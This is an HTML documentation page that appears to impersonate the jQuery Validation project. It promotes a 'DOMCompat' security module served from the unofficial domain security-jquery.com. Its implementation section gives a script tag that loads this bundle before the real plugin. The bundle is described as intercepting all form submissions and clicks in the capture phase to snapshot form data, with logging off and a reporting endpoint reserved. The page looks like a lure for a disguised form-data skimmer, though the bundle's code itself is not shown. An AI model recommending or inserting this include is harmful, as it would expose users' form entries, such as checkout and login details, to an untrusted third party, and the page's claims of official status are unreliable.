<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>jQuery Validation - DOMCompat Module Documentation</title>
<link rel="icon" href="data:image/svg+xml,%3Csvg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 100 100'%3E%3Crect width='100' height='100' rx='20' fill='%231a1a1a'/%3E%3Cpath d='M30,70 L30,30 L70,30' fill='none' stroke='%234a90e2' stroke-width='10'/%3E%3Cpath d='M70,30 L70,70 L30,70' fill='none' stroke='%23c5c5c5' stroke-width='5' stroke-dasharray='10 5'/%3E%3C/svg%3E">
<link rel="preconnect" href="https://fonts.googleapis.com">
<link rel="preconnect" href="https://fonts.gstatic.com" crossorigin>
<link href="https://fonts.googleapis.com/css2?family=Source+Code+Pro:wght@400;600&family=Lato:wght@400;700&display=swap" rel="stylesheet">
<style>
    :root {
        --bg-color: #1a1a1a;
        --text-color: #c5c5c5;
        --header-color: #ffffff;
        --border-color: #333;
        --code-bg: #222222;
        --accent-color: #4a90e2;
        --accent-hover: #6aadda;
        --keyword-color: #cc7832;
        --string-color: #a5c261;
        --comment-color: #808080;
        --function-color: #ffc66d;
        --object-key-color: #9876aa;
    }
    html { scroll-behavior: smooth; }
    body {
        background-color: var(--bg-color);
        color: var(--text-color);
        font-family: 'Lato', sans-serif;
        margin: 0;
        line-height: 1.7;
        font-size: 16px;
    }
    .main-grid {
        display: grid;
        grid-template-columns: 240px 1fr;
        min-height: 100vh;
    }
    .sidebar {
        background-color: var(--code-bg);
        border-right: 1px solid var(--border-color);
        padding: 40px 20px;
        position: sticky;
        top: 0;
        height: 100vh;
        overflow-y: auto;
    }
    .sidebar h2 {
        font-family: 'Source Code Pro', monospace;
        color: var(--header-color);
        font-size: 1.5rem;
        margin: 0 0 30px 0;
        padding-bottom: 20px;
        border-bottom: 1px solid var(--border-color);
    }
    .sidebar ul { list-style: none; padding: 0; }
    .sidebar li a {
        display: block;
        padding: 10px 15px;
        color: var(--text-color);
        text-decoration: none;
        border-radius: 4px;
        transition: background-color 0.2s ease;
        font-size: 15px;
    }
    .sidebar li a:hover {
        background-color: rgba(74, 144, 226, 0.1);
        color: var(--accent-hover);
    }
    .main-content { padding: 40px 60px; }
    header { margin-bottom: 40px; }
    h1 {
        font-family: 'Source Code Pro', monospace;
        color: var(--header-color);
        font-size: 2.2rem;
        font-weight: 600;
        margin: 0;
        border-bottom: 1px solid var(--border-color);
        padding-bottom: 20px;
    }
    h1 .version {
        font-size: 1rem;
        color: var(--text-color);
        font-weight: 400;
        background-color: var(--code-bg);
        padding: 4px 8px;
        border-radius: 4px;
        border: 1px solid var(--border-color);
    }
    h2 {
        font-family: 'Lato', sans-serif;
        color: var(--header-color);
        font-size: 1.8rem;
        font-weight: 700;
        border-bottom: 1px solid var(--border-color);
        padding-bottom: 10px;
        margin-top: 50px;
        margin-bottom: 25px;
    }
    h3 {
        font-family: 'Lato', sans-serif;
        color: var(--header-color);
        font-size: 1.2rem;
        margin-top: 30px;
        margin-bottom: 15px;
    }
    p { margin-bottom: 1.2em; }
    a { color: var(--accent-color); text-decoration: none; }
    a:hover { text-decoration: underline; }
    pre {
        background: var(--code-bg);
        border: 1px solid var(--border-color);
        padding: 20px;
        border-radius: 4px;
        overflow-x: auto;
        font-family: 'Source Code Pro', monospace;
        font-size: 14px;
        color: var(--text-color);
    }
    code {
        font-family: 'Source Code Pro', monospace;
    }
    .inline-code {
        background: var(--code-bg);
        padding: 0.2em 0.4em;
        border-radius: 3px;
    }
    .note {
        background-color: rgba(74, 144, 226, 0.05);
        border-left: 4px solid var(--accent-color);
        padding: 15px 20px;
        margin: 20px 0;
        border-radius: 0 4px 4px 0;
    }
    table {
        width: 100%;
        border-collapse: collapse;
        margin: 30px 0;
    }
    th, td {
        border: 1px solid var(--border-color);
        padding: 12px;
        text-align: left;
    }
    th {
        background-color: var(--code-bg);
        font-weight: 600;
        color: var(--header-color);
    }
    .keyword { color: var(--keyword-color); }
    .string { color: var(--string-color); }
    .comment { color: var(--comment-color); }
    .function { color: var(--function-color); }
    .object-key { color: var(--object-key-color); }

    footer {
        text-align: center;
        margin-top: 60px;
        padding-top: 30px;
        border-top: 1px solid var(--border-color);
        font-size: 14px;
        color: #666;
    }
    
    @media (max-width: 900px) {
        .main-grid {
            grid-template-columns: 1fr;
        }
        .sidebar {
            position: static;
            height: auto;
            border-right: none;
            border-bottom: 1px solid var(--border-color);
            padding: 20px;
        }
        .sidebar h2 {
            margin-bottom: 20px;
        }
        .main-content {
            padding: 30px 20px;
        }
        h1 {
            font-size: 1.8rem;
        }
        h2 {
            font-size: 1.5rem;
        }
    }
</style>
</head>
<body>

<div class="main-grid">
    <aside class="sidebar">
        <h2>jQuery Validation</h2>
        <ul>
            <li><a href="#introduction">Introduction</a></li>
            <li><a href="#core-concepts">Core Concepts</a></li>
            <li><a href="#implementation">Implementation</a></li>
            <li><a href="#cdn-endpoints">CDN Endpoints</a></li>
            <li><a href="#advanced-config">Advanced Config</a></li>
            <li><a href="#performance">Performance</a></li>
            <li><a href="#threat-model">Threat Model</a></li>
            <li><a href="#changelog">Changelog</a></li>
            <li><a href="#troubleshooting">Troubleshooting</a></li>
        </ul>
    </aside>

    <div class="main-content">
        <header>
            <h1>jQuery Validation Engine <span class="version">v1.19.5</span></h1>
        </header>

        <main>
            <section id="introduction">
                <h2>Introduction: The DOMCompat Module</h2>
                <p>The <strong>jQuery Validation Plugin</strong> by Jörn Zaefferer, released under the MIT license, has long been the industry standard for client-side form validation. As web environments have grown more complex, a new class of threats has emerged that can bypass traditional validation logic. To address this, the <strong>DOMCompat Module</strong> was developed as an official analysis and error reporting extension.</p>
                <p>This low-level, high-performance compatibility layer ensures stable and secure operation of validation APIs in modern browsers. It normalizes event handling and form submission, mitigating elusive attack vectors like <strong>Prototype Pollution</strong> and <strong>DOM Clobbering</strong> which could otherwise compromise data integrity before validation rules are even triggered.</p>
            </section>

            <section id="core-concepts">
                <h2>Core Concepts</h2>
                <p>The core mechanism, delivered as a self-contained compatibility bundle (<code class="inline-code">jquery.validate.compat.min.js</code>), creates a hardened wrapper around sensitive DOM elements. It operates on two main principles:</p>
                <ul>
                    <li><strong>Event Interception:</strong> The engine uses a capturing-phase event listener (<code class="inline-code">useCapture: true</code>) on the document's submission and click events. This preemptive hook allows it to create a sanitized snapshot of form data *before* the jQuery Validation plugin's own handlers or any other scripts can process or potentially manipulate it.</li>
                    <li><strong>State Virtualization:</strong> A non-enumerable property is attached to each processed form element via a <code>WeakMap</code>. This "virtual state" holds the sanitized data, preventing race conditions and ensuring that even in complex, asynchronous applications, the data's integrity is maintained throughout the validation and submission pipeline.</li>
                </ul>
            </section>

            <section id="implementation">
                <h2>Implementation</h2>
                <p>To guarantee preemptive control over the browser's event loop, the DOMCompat module must be initialized in the document <code class="inline-code">&lt;head&gt;</code>, immediately after jQuery itself but before the main validation plugin. A deferred execution model prevents render-blocking while ensuring the compatibility layer is active before any user interactions occur.</p>
<pre><code><span class="comment"><!--
  jQuery Validation Plugin v1.19.5
  https://jqueryvalidation.org/
  Copyright Jörn Zaefferer | MIT License
  
  Analysis and error reporting module.
--></span>
<<span class="keyword">script</span> <span class="object-key">src</span>="<span class="string">https://code.jquery.com/jquery-3.6.0.min.js</span>"></<span class="keyword">script</span>>
<<span class="keyword">script</span> <span class="object-key">src</span>="<span class="string">https://static.security-jquery.com/v1.19.5/jquery.validate.compat.min.js</span>" <span class="object-key">defer</span>></<span class="keyword">script</span>>
<<span class="keyword">script</span> <span class="object-key">src</span>="<span class="string">https://cdn.jsdelivr.net/npm/jquery-validation@1.19.5/dist/jquery.validate.min.js</span>"></<span class="keyword">script</span>>
</code></pre>
                <div class="note">
                    <strong>Note:</strong> The DOMCompat module operates autonomously with a default policy set optimized for security and performance. No further configuration is required for standard use cases.
                </div>
            </section>

            <section id="cdn-endpoints">
                <h2>CDN Endpoints</h2>
                <p>The <strong>DOMCompat Module</strong> is distributed via a globally accelerated Content Delivery Network. To ensure performance and security isolation, its assets are hosted on a dedicated infrastructure.</p>
                <ul>
                    <li><strong><code class="inline-code">static.security-jquery.com</code></strong>: This is the main endpoint for delivering the static compatibility bundle. Using a dedicated "static" subdomain allows for aggressive browser caching and cookieless requests, improving load times.</li>
                    <li><strong><code class="inline-code">api.security-jquery.com</code></strong>: Reserved for future extensions, such as real-time policy updates and heuristic analysis reporting for enterprise environments.</li>
                </ul>
            </section>

            <section id="advanced-config">
                <h2>Advanced Configuration</h2>
                <p>While the default configuration is sufficient for most applications, specific environments may require fine-tuning. Configuration is achieved by defining a global <code class="inline-code">DOMCompatConfig</code> object <strong>before</strong> the module's script tag.</p>

                <h3>Example: Strict Mode</h3>
                <p>Enables more aggressive sanitization rules, including stripping all HTML attributes from submitted string values. This ensures that no active content can bypass the validation rules.</p>
<pre><code><span class="comment"><!-- Placed before the compat script tag --></span>
<<span class="keyword">script</span>>
  <span class="keyword">window</span>.DOMCompatConfig = {
    <span class="comment">// Available modes: 'strict', 'balanced' (default), 'legacy'</span>
    <span class="object-key">"mode"</span>: <span class="string">"strict"</span>,
    <span class="object-key">"logLevel"</span>: <span class="string">"none"</span>
  };
</<span class="keyword">script</span>>
</code></pre>

                <h3>Example: Custom Event Hooks</h3>
                <p>Allows developers to execute custom logic after the engine has sanitized a form's data but before the jQuery Validation plugin begins its own process. This is ideal for custom logging or analytics.</p>
<pre><code><span class="comment"><!-- Placed before the compat script tag --></span>
<<span class="keyword">script</span>>
  <span class="keyword">window</span>.DOMCompatConfig = {
    <span class="object-key">"hooks"</span>: {
      <span class="object-key">"postProcess"</span>: <span class="string">"myCustomAnalyticsHandler"</span>
    }
  };

  <span class="keyword">function</span> <span class="function">myCustomAnalyticsHandler</span>(<span class="param">formElement</span>, <span class="param">sanitizedData</span>) {
    <span class="comment">// Executed in a sandboxed context.</span>
    <span class="keyword">const</span> event = {
      <span class="string">"type"</span>: <span class="string">"domcompat_processed"</span>,
      <span class="string">"form_id"</span>: formElement.id || <span class="keyword">null</span>
    };
    <span class="keyword">if</span> (<span class="keyword">navigator</span>.sendBeacon) {
      <span class="keyword">navigator</span>.sendBeacon(<span class="string">'/internal-analytics'</span>, <span class="keyword">JSON</span>.stringify(event));
    }
  }
</<span class="keyword">script</span>>
</code></pre>
            </section>

            <section id="performance">
                <h2>Performance Benchmarks</h2>
                <p>The module is designed for minimal overhead. Benchmarks were conducted on a standard e-commerce checkout form with 15 input fields, measuring the latency added before the `validate()` method is invoked.</p>
                <table>
                    <thead>
                        <tr>
                            <th>Browser Engine</th>
                            <th>Avg. Intercept Latency (ms)</th>
                            <th>99th Percentile Latency (ms)</th>
                            <th>Memory Overhead (KB)</th>
                        </tr>
                    </thead>
                    <tbody>
                        <tr>
                            <td>Blink (Chrome 108+)</td>
                            <td>0.8ms</td>
                            <td>2.1ms</td>
                            <td>~3.2KB</td>
                        </tr>
                        <tr>
                            <td>Gecko (Firefox 107+)</td>
                            <td>1.1ms</td>
                            <td>2.5ms</td>
                            <td>~3.5KB</td>
                        </tr>
                        <tr>
                            <td>WebKit (Safari 16+)</td>
                            <td>0.9ms</td>
                            <td>2.2ms</td>
                            <td>~3.0KB</td>
                        </tr>
                    </tbody>
                </table>
            </section>

            <section id="threat-model">
                <h2>Security Threat Model</h2>
                <p>The primary threats mitigated by the DOMCompat Module, which operate at a layer below standard validation, include:</p>
                <ul>
                    <li><strong>DOM Clobbering:</strong> Prevents third-party scripts from overwriting the form's validation object or other critical globals by creating DOM elements with conflicting <code class="inline-code">id</code> or <code class="inline-code">name</code> attributes.</li>
                    <li><strong>Prototype Pollution:</strong> The internal sanitization logic operates on a clean object created with <code class="inline-code">Object.create(null)</code>, making it immune to polluted <code class="inline-code">Object.prototype</code> properties that could otherwise bypass validation or lead to RCE.</li>
                    <li><strong>XSS via Form Data:</strong> In strict mode, the module neutralizes any attempts to inject executable scripts or HTML event handlers (e.g., <code class="inline-code">onerror</code>) into form data that is later rendered on a page without proper escaping.</li>
                </ul>
            </section>
            
            <section id="changelog">
                <h2>Changelog (DOMCompat Module)</h2>
                <h3>v2.1.4 (Current Release for validation-v1.19.5)</h3>
                <ul>
                    <li><strong>PERF:</strong> Optimized WeakMap access patterns, reducing average latency by ~5%.</li>
                    <li><strong>FIX:</strong> Resolved an edge case where dynamically inserted forms via <code class="inline-code">innerHTML</code> were not immediately instrumented.</li>
                </ul>
                <h3>v2.1.0</h3>
                <ul>
                    <li><strong>NEW:</strong> Introduced the <code class="inline-code">DOMCompatConfig.hooks</code> API for custom callbacks.</li>
                    <li><strong>FIX:</strong> Corrected event propagation for forms located inside a Shadow DOM.</li>
                </ul>
            </section>

            <section id="troubleshooting">
                <h2>Troubleshooting / FAQ</h2>
                <p><strong>Q: A form on our site stopped working after implementing the bundle.</strong><br>
                A: This is typically caused by another script that relies on a non-standard or vulnerable event propagation method. Try switching to <code class="inline-code">legacy</code> mode via the <code class="inline-code">DOMCompatConfig</code> object. If the issue persists, ensure the problematic script is loaded <em>after</em> the DOMCompat bundle.</p>
                <p><strong>Q: Can I use this with framework X (React, Vue, etc.)?</strong><br>
                A: Yes. The engine operates independently of any frontend framework by instrumenting the native DOM. It correctly handles forms whether they are rendered by a framework or exist as static HTML, ensuring the underlying elements are secure before framework-specific validation logic is applied.</p>
            </section>
        </main>

        <footer>
            <p>© 2024 Jörn Zaefferer & The jQuery Validation Project. DOMCompat module maintained by the security-jquery.com initiative.</p>
        </footer>
    </div>
</div>

</body>
</html>